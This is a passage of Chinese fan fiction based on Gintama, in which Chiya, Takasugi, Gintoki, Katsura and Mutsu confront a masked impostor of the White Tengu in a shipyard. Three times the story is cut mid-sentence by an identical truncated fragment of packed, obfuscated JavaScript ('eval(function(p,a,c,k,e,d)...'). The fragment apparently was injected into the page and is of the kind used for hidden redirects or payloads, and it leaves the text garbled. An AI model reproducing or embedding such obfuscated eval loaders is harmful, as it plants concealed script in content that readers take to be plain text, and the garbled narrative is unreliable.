被锦衣玉食养大的金丝雀,一步一步学着自己觅食。 笨拙地倒地、翻身,却总学不会挥动翅膀。 直到遇到鞍马。 他教会她,鸟喙是种极具威力的武器,而利爪则是她与生具来的优势。 世人说,世家的小姐终究只是供人欣赏的金丝雀,但鞍马却告诉她,她可以是蒼鹰,可以是乌鸦,也可以是那自由自在的候鸟。 又或者她也可以成为被人类忌惮且崇拜的天狗。 她曾想过,若日子能一直这样持续下去也挺好的。 没有烦人的幕府,没有家族内斗,晚上可以出去喝酒打架,白天则留在家中教导弟弟们读书识字… 但被这个念头被鞍马发现后,他狠狠揍了她一顿,随后一边替她上药,一边逼她观看他特意租来的《千〇千寻》。 反覆叮嘱她,绝对不能忘记自己的本名。 她叫浅井千茶。 是浅井家的长女。 初春的夜晚仍然寒冷,尤其在这种简陋的房子里。 与那冰冷疏离的眸子不同,这双手却意外地温热。 千茶感受到自己那双被流水冲洗得冰凉的手,渐渐在他的手心中逐渐回温。 那是她长大后,第一次真正与面前的男人对视。 攘夷战争结束后的事,千茶也曾在坂本辰马口中听过一二。 同一村塾出身的三人,在经历最后一场战役后,就此分道扬镳。 后方养伤的坂本对于当中的细节知之甚少,只知道坂田银时为了救下被擒的两人,亲手结束了恩师的性命;高杉晋助失去了一只眼睛,而他所率领的鬼兵队则遭到处决。 为了保家卫国而挺身而出的人,最终竟落得如此下场。 这个世界确实肮脏透顶。 她的目光停留在高杉蒙着眼睛的一圈纱布上。 「眼睛,还会痛吗?」她问。 痛是不可能痛的,那是多少年前的事了,当时留下的伤口早已结疤痊愈。 但高杉听到这个看似愚蠢的问题后,既不否认也不承认。 「那么,能让我看一下吗?」 双方都心知这是个冒犯的请求,但他却没有拒绝。 千茶踮起脚尖,小心翼翼地解开固定在他后脑勺的纱布。 眼睑上并非如她预想的狰狞伤痕,只有一条颜色淡淡的平滑疤痕。 她小心翼翼地用指尖轻触那道疤痕,感受到皮肤下细微的凹陷。 「有什么想法吗?」 「没什么想法。」 高杉睁开眼睛,发现千茶已转过身,正在旁边的柜子里寻找一卷干净的纱布。 「当我们决定踏上这条路时,便已做好最坏的打算了,不是吗?」她淡声道。 高杉并没有错过她话里轻描淡写带过的主语。 她说:我们。 这意味着…她也将自己归入在和他一样的阵营。 「我们吗...?」他看着眼前的少女,忽然感到一丝好笑「你真的清楚我在做什么吗?」 千茶转过头,眼睛直视着那只如翡翠般的眼眸,目光坚定毫无闪躲。 「就是这样的事情,不是吗?」 她向前踏出一步,从袖中抽出一把锋利的匕首,将刀锋抵在自己的脖子上。刀刃浅浅陷入皮肤,渗出一丝血痕。 高杉的眼神没有丝毫波动,他只是伸手握住那把匕首,缓慢将它从千茶的脖子上移开,指尖轻轻抹去那一丝血痕。 「看来是我小看你了,千茶。」 那一晚,他们在鞍马的屋子里,说了一整晚的话。 时间回到现实,千茶重新带好了面具,和高杉一同离开了遍布敌人尸首的仓库,找到一条两人都未曾探索过的通道。 「为什么你会来了这里?」她问。 高杉从怀里掏出一封像是邀请函的东西递给她,她细阅这上面的文字。 那个冒牌货试图以她的名义,把高杉引来这里。 「所以我才问你,你是一个人进来的吗?」 言下之意,那人很可能邀请了不止高杉一位访客。千茶立即想起前段时间遇刺的桂,迅速拨通了守在门外之人的电话。 通话结束,她转头看向高杉。 「看来你的好朋友们都已经来到这里了。」 银时和桂一路前行,地上散落着倒下的伤患和模糊的血肉残迹。 这里显然经历过一场激烈的厮杀。 船厂内部结构复杂,他们转了好几圈,最终来到一道比较像样的大门前。 「要进去吗?」桂问 银时点了点头,两人一起推开了那扇大门。 里面是个十分广阔的空间。 四面墙壁上排满了屏幕,每一个都播放着一些擂台录影片段,而这些影像的主角全都是白天狗。 由最初在对手击倒后艰难地站直身子,毫无章法的奋勇上前;到后来每一击都是优雅而毫不费力。 那些影像如同一部成长史,记录着这个默默无名的小子,如何一步一步上走到后来的顶点,在短短的几年间,创造了属于自己的传说。 「这…完全是个小孩吧。」 银时凝视着最初那些片段中的白天狗,那时他身形矮小,骨架单薄,看上去连握住一把刀都显得吃力。 他笨拙地躲开对手的攻击,被击倒又爬起,一遍又一遍。 顽强的嫩芽在风雨中不屈不挠地生长。 「银时。」桂注视着那些录像,察觉到不妥,却又不敢确定。 银时抬起头,望了桂一眼,随后走到他身旁,与他一同凝视着面前的屏幕。 「你看看他手上握着那把刀,不觉得很熟悉吗?」桂说,指着白天狗手里的武器。 银时凝视着刀身的轮廓,和持刀者独特的握 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c 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他们对彼此的招式了如指掌,因此战况一直处于拉锯状态。 直到某一刻,肩膀的疼痛让白天狗忽然清醒。他像是放下了某种顾虑,不再只是防守,而是在回避的同时,适时地反击。 最终,他左手的打刀深深刺入对方胸膛,赤天狗应声倒下。 面具剥落,鞍马满足地闭上了双眼。 在一场短暂的擂台赛中,她亲手夺走了恩师的生命。 从此背负着此生无法抹去的罪咎与悲痛。 「怎样?这场比赛好看吗?」 陌生的男声从他们身后传来。 银时猛地回头,只见门口站着个身着白色水干的男人,他面上也戴着一个白色的天狗面具。 他的装扮与刚才屏幕上的那人完全相同,但银时和桂都清楚知道他们绝非同一人。 「喂,假发。看来我们终于找到那个把你打伤的假若丸了,现在怎么办?要去报仇,把他揍一顿吗?」银时勾起一边嘴角,露出一个顽劣的笑容。 「这种事还得说吗,银时。」 45. 地球就是一个巨型磁铁 说话不能说得那么满,要不然很快就会被打脸了。 坂田银时和桂小太郎现在就正正是处于这个状况。 前一秒才刚放完狠话,说要好好修理眼前的假冒者,下一秒就被个从天而降的铁笼给困住。 二人面面相觑,记忆中似乎不是第一次和对方一起陷入这样的窘境。 对,他们上次变成了小猫,才刚说完一番豪情壮志,然后便与猩猩近藤一同踩中了敌人设下的陷阱。 既然已经落入敌人的手中,他们也只能静观其变对方的下一步行动。 依照坂田银时多年打电动的经验,这种情况下,反派通常会开始向主角长篇大论自己的悲惨过往和即将实施的邪恶计划。 然而出乎意料的是,那个假若丸将他们困进笼子后,并没有依循常见的套路,而是直接转身离开了房间。 「这是怎么回事!什么都不说就转身离开...难道我们不是你的目标吗?我们竟然被当成杂鱼了吗!?」银时的声音在房间里回荡着,他用力晃动铁栏,但笼子依然纹丝不动。 「可恶!这些家伙居然敢小看我们,等我出去一定要让他们后悔!」 说完,他转头看向桂,发现对方正一脸严肃地盯着笼子外的屏幕墙。 「喂,假发,你在看什么?」 桂朝银时使了个眼色,然后指向最远处的一个小屏幕。 上面播放的不是像其他屏幕那样的擂台赛片段,而是一个类似实时监控的画面。 画面中的主角与其他片段一样,同样身着全白,这也是为何他们起初没有注意到。 白衣人在屏幕上灵活移动,精准地斩向那些朝她冲来的敌人,整套动作既优雅又流畅。 看来不只银时和桂,她也同样来到了这个地方。 银时盯着屏幕上熟悉的白色身影,眉头深深皱着「明明都把假若丸的事委托我了,现在又一个人来这里,到底想干什么?」 「等等,银时。」桂专注地盯着屏幕,他在画面后方角落发现了一个再熟悉不过的身影。 「看来她也不是自己一个人呢。」 话语刚落,那些蜂拥而上的敌人便一个接一个地倒下。 随后,她似乎察觉到了头顶的监控,便走到摄像头底下,仰起头朝上方比了个中指。 还真是个嚣张的家伙。 由于她脸上戴着面具,他们无法看清她的表情与容貌。只见她朝后方挥了挥手,另一个身影便走进了画面。 那人冷漠地用衣?擦拭着沾血的刀刃,随后迈步上前与她并肩而行。 「这不是高杉吗?为什么他们两个会在一起!」 桂此时的反应比银时冷静得多。 千茶早已在他面前暗示过她对幕府的态度,所以若她真与高杉有所联系,在桂看来也不足为奇。 只是一边让他帮忙,另一边又和高杉混在一起,倒是有点说不过去了。 「比起这个,更重要的是我们现在应该想办法离开这里。」 「还用你说吗!可恶…要是这个时候有把神乐带出来就好了。」银时略带懊悔地抱着脑袋。 早知道就不该跟他们分头行动了。 神乐是夜兔,这种笼子对她来说就和便利店的自动门差不多。 动动手指就会自动打开了。 「神明大人!求你赐给我一只夜兔吧!」他仰望笼子顶部大喊着,彷佛只要喊完,真的就会有夜兔从天而降似的。 然而,上天似乎真的听见了他的祈祷,就在下一秒,厚重的铁门轰然倒塌,扬起一阵灰尘。 「你在找我吗?」 银时和桂被突如其来的灰尘呛到,咳嗽不停的二人一边调整呼吸,一边抬起头。他们挥手试图驱散灰尘,待尘雾渐渐散去,他们终于看清了站在面前的人。 「陆奥!」 「喔,是你们啊。」 陆奥刚才经过时发现这边的门紧闭着,却隐约听见里面传来对话声。她本以为是敌人,打算来个让他们措手不及的偷袭,却没想到里面的竟是自己的熟人。 而且还是被困在笼子里的熟人。 「你为什么会在这里?」银时问。 「我昨晚上从认识的人那里听说了那个冒牌货的据点,所以就过来看看了。」陆奥走到笼子面前,打量着里面被困的两个男人「你们呢,为什么会在这里?」 「那是因为Jacky…」桂正要回答她的问题,但说到一半时却被银时捂住了嘴。 「我们也是…早上收到情报,说那个假若丸很可能躲在这里,就特意来看看的哈哈…对吧,假发?」 人家认真地搜集情报,而他却把这件事放在一边,去接了别的委托,还和一个被莫名其妙收藏卡骗来的傻子一起,在门卫的招呼下误打误撞地进了这里。 不仅掉进了敌人的陷阱,现在还向上天祈求让他家的小孩来救他们…这种丢脸事,坂田银时实在说不出口。 桂一脸困惑地看着银时,但在他连番的眼神暗示下,很快就懂了他的意思,点着头来附和。 「是、是啊!就是这么回事!绝对不是因为想要Jacky的限量…」 「就让你别提Jacky了!」 在二人打闹挣扎间,一张纸片从桂的身上掉落,直直落至陆奥的脚边。 她下意识弯腰将它捡起。 银时立刻意识到,这肯定是那张骗桂过来的纸条。 「别看!」 这一喊反而引起了陆奥的好奇心。 正因为他煞有介事地让她不看,她在拿起纸片时轻轻撇了一眼。 :要是你真的敢一个人来,我就把Jacky收藏卡的限定金卡送你。 「Jacky收藏卡?」 陆奥挑了挑眉,要不是现在被这个笼子隔着,她也想打开这两个人的脑子看看,是不是和坂本辰马一样,里面都是空空如也的。 看着在前以讪笑掩饰的坂田银时,她无奈地叹了口气「算了,多两个笨蛋总比没有来得好吧。」 说完,陆奥朝着铁笼挥出一拳,然后两手抓住两根铁栏,猛地往外侧拉。金属发出刺耳的声响,扭曲变形,瞬间就开出了一个足够让人通过的缺口。 笼子已经被打开了,银时和桂不再磨磨蹭蹭,赶紧从里面爬了出来。 陆奥转身走到屏幕墙前,仔细观察着那些各不相同的画面。有几幕她看著有些眼熟,但更多的却是陌生的。 陆奥认识千茶时,她 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c 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病重的师父在生命最后仍不放心徒弟,因此强迫对方与他对打,只有亲眼见证她的强大才能安心离去。 至于那个徒弟,早就察觉到师父的不妥,在明白了对方的用意后,虽然不忍,最终还是忍痛成全了他的心愿。 是少年漫画中很典型的弑师戏码了。 「鞍马死后,她或许消沉过一段时间,不过你们也知道,那家伙从来都不会把想法表现在脸上,所以我也说不准。」 沉默弥漫在空气中,直到银时轻声说了一句,打破了这份宁静。 「大概现在还在消沉着。」 要不然他昨晚也不会在酒馆里碰到她。 半夜的酒馆、随意的居家打扮、像水一样的喝酒方式,嘴里还嚷嚷着「恶梦倒底会做到什么时候?」 已经从阴霾中恢复过来的人,可不会这个样子。 「经验者之谈吗?」 陆奥的这句让桂下意识地转头看向银时。 「不,只是半夜在常去的酒馆碰到她罢了。」 银时丢下这句话,连看都没看二人的反应,干脆俐落地转身朝门口走去。 46. 买衣服时比起款式,当然还是舒适…… 虽然陆奥与坂田银时他们短暂地汇合了,但她最终并没有与他们同行,而是转身走向另一边的分岔路。 谁都知道在这种情况下,一起行动会比较安全,但这次的事件牵涉到千鸟。 作为一个已经消失多年的海盗组织,千鸟最近的小动作确实有些频繁了。陆奥作为前提督的女儿,要是说不在意倒是假的。她总觉得事有跷蹊,早就想找个机会好好调查。 而现在,正正就是一个很好的时机。 桂和银时的潜入已在假若丸面前曝光,他自然会对二人多加防范。 而从刚才那间房间的布置来看,那人大概是冲着千茶而来,也就是说他此时的注意力应该都集中在千茶身上。 陆奥了解千茶的身手,加上她现在和高杉同行,互相照应下应该不会出什么意外。 银时和桂这边也同理。 在这种情况下,一直未在假若丸面前露过面的陆奥,也许应该把握现在的机会,调查一那个冒牌货和千鸟之间,是否存在什么阴谋。 先不说能否成为千茶先前提及的其中一份投名状,至少若真需要清理门户,她也不愿假手于人。 陆奥将一组与千茶同款的装置交给了两个男人,然后向他们一一叮嘱注意事项。 像是遇到那个冒牌货的时候,可以靠着按上面的红色按钮,来把自己的即时位置传送到千茶合陆奥那里。 幸好她是个习惯凡事都留有多手准备的人。 和陆奥分别后,两人沿着通道走了好一段路,走廊空荡荡的,水管生锈的回音亦让人毛骨悚然。 银时向来不喜欢这种阴森的地方,但此时此刻,无论进退他都必须在这个船厂里继续探索。 走到走廊尽头,他们发现一扇半掩着的门,门后传来热闹的话声,听着人数也不少。 「根据我打了那么多年马利〇的经验,这道门打开之后肯定就是大bos…」银时连boss这个字都还没说完,桂就已经一手将大门推开了。 「你到底在干什么!!」 「啊…抱歉,一不留神,手就自己动了起来。」 「什么叫做『一不小心就自己动了起来』?」 「那是因为门就在这里啊,很自然就会推开它的,不是吗?」桂说得理直气壮。 「你以为自己是乔治吗?说『因为山就在那里』这句话的乔治可是在登山过程中丧生的,你…」 门后的话声赫然静止,大门被推开的动静引起了里面所有人的注意。银时和桂也察觉到气氛的不对劲,略带僵硬地转过头。 此时,无数双警惕的眼睛正紧紧盯着两人。 房间中央矗立着一个临时搭建的擂台,其面积远超电视上常见的相扑或搏击擂台,显然是为了使用武器时能有充足的活动空间。 而在擂台的四周,环绕着一群面露凶相的天人与人类浪人,显然是千鸟和假若丸的爪牙。 那个冒牌货此刻正站在擂台中央,一动不动地盯着他们。 他脸上戴着一个白色高鼻天狗面具,遮掩着一切的面部表情,但银时和桂依然能感受到他锐利的目光正紧盯着他们。 「真不愧是被称为奇迹一代的攘夷志士,那么快就从我的特制囚笼里出来了…还真有两下子。」他说,字面上看来,明明是称赞的说话,但他们只能听见里面满满的嘲讽。 要是真的那么厉害,最初就不会被关进去了。 底下的人随即哄笑起来,那些或嘲笑或轻蔑的目光,无疑让两人感到一阵恼火。 桂的目光始终紧盯着擂台上的假若丸,在众人的注视下,他缓缓举起刀,直指那个身穿白衣的人。 「客套话就免了,我今天来这里,可不是为了和你闲聊的。」 见那个被嘲弄的来者举起武器,四周的男人也纷纷握紧自己的武器,准备开战。 银时的手也放到刀柄上,以免随时拔刀应战。 「冷静一点。这两位可是我特意邀请到这里的客人,可不能让他们交代在这里吧?」擂台上的男人挥了挥手,制止了那些躁动的手下。 他的话里听不出半分真诚,但底下的人还是纷纷放下了武器,只是当中仍有细微的怨言传出。 这些抱怨主要来自那些疑似千鸟的天人。 看来假若丸在他们之中并非什么深得人心的领袖,更像是处于一种合作关系。 他走近舞台边缘,居高临下地看着已经来到台前的银时和桂。 「今天邀请两位来,并非是想和你们打架,而是有一场比赛想请你们帮忙做个评判。」 先是刺了他一刀,再用下三流的手段将他引来,然后把他关在笼子里… 现在居然说只是想让他当比赛的评判?这种说辞连三岁小孩都不会相信,更何况桂都快三十岁了。 「你觉得我们会相信这种借口吗?」 男人保持着沉默,没有回答。 而银时的着眼点却和桂不同,他更在意的是,他所谓的比赛到底指的是什么一回事。 「你刚才说的比赛,是指…」 「这不是很清楚了吗?」男人转了一圈,向他们展示自己身上的装扮。 刚才在房间里被迫观看了许久白天狗的战斗影片,因此他们一眼就能辨认出台上男人身上的装束几乎与本尊完全相同,一袭洁白的水干配上同款的天狗面具,乍看之下唯一的区别仅在于二人体型上的差异。 他们原本以为这个模仿者是想借用已故白天狗的名义,大捞一笔,或是招兵买马从事一些不入流的勾当。 但从他们踏入这座废弃工厂后所见的一切来看,他似乎对白天狗怀有某种执念,这种执念甚至驱使他想取而代之。 「不过还真可惜,看来我的对手…」 男人的话被紧接着的开门声打断,所有人的目光立即转向门口。 「抱歉呢,我来晚了。现在是在说我的坏话吗?冒牌货。」沙哑的机械音从后方传来,银时和桂同时转头,目光聚焦在那抹白…不对,已经不能说是白色了。 本该纯白的衣衫上沾着点点战斗留下的血斑,袖子随风飘扬,一个刚在屏幕上出现过无数次的身影步履 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c 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被点名的人反射性地低头看了看自己身上的水干,又瞥了眼她那套做工精细的装束,他虽然试着假装不在意,可是嘴角还是不甘地抽动了一下,带动了脸上的面具。 坂田银时看着地上的钞票,陷入短暂的沉默。 为什么他从来没有遇过用这种方式挑衅他的对手!上天这不公平啊!! 「好了,闲话到此为止,让我们进入正题吧。」千茶的声音虽然被变声器扭曲成机械音,但那份冷静和不屑依然清晰可辨。 「你做那么多小把戏到底是为了什么?如果想找我的麻烦,大可不必绕这么大的圈子。」 「还是说…在我身上花的小把戏只是用来掩饰幕府和这些杂鱼海盗之间的不法勾当?」 冒牌货带着面具,他们无法从他的面部表情来猜测千茶的推断是否正确。可是擂台下的大叔们,却是毫无掩饰。 「看来我是说对了。」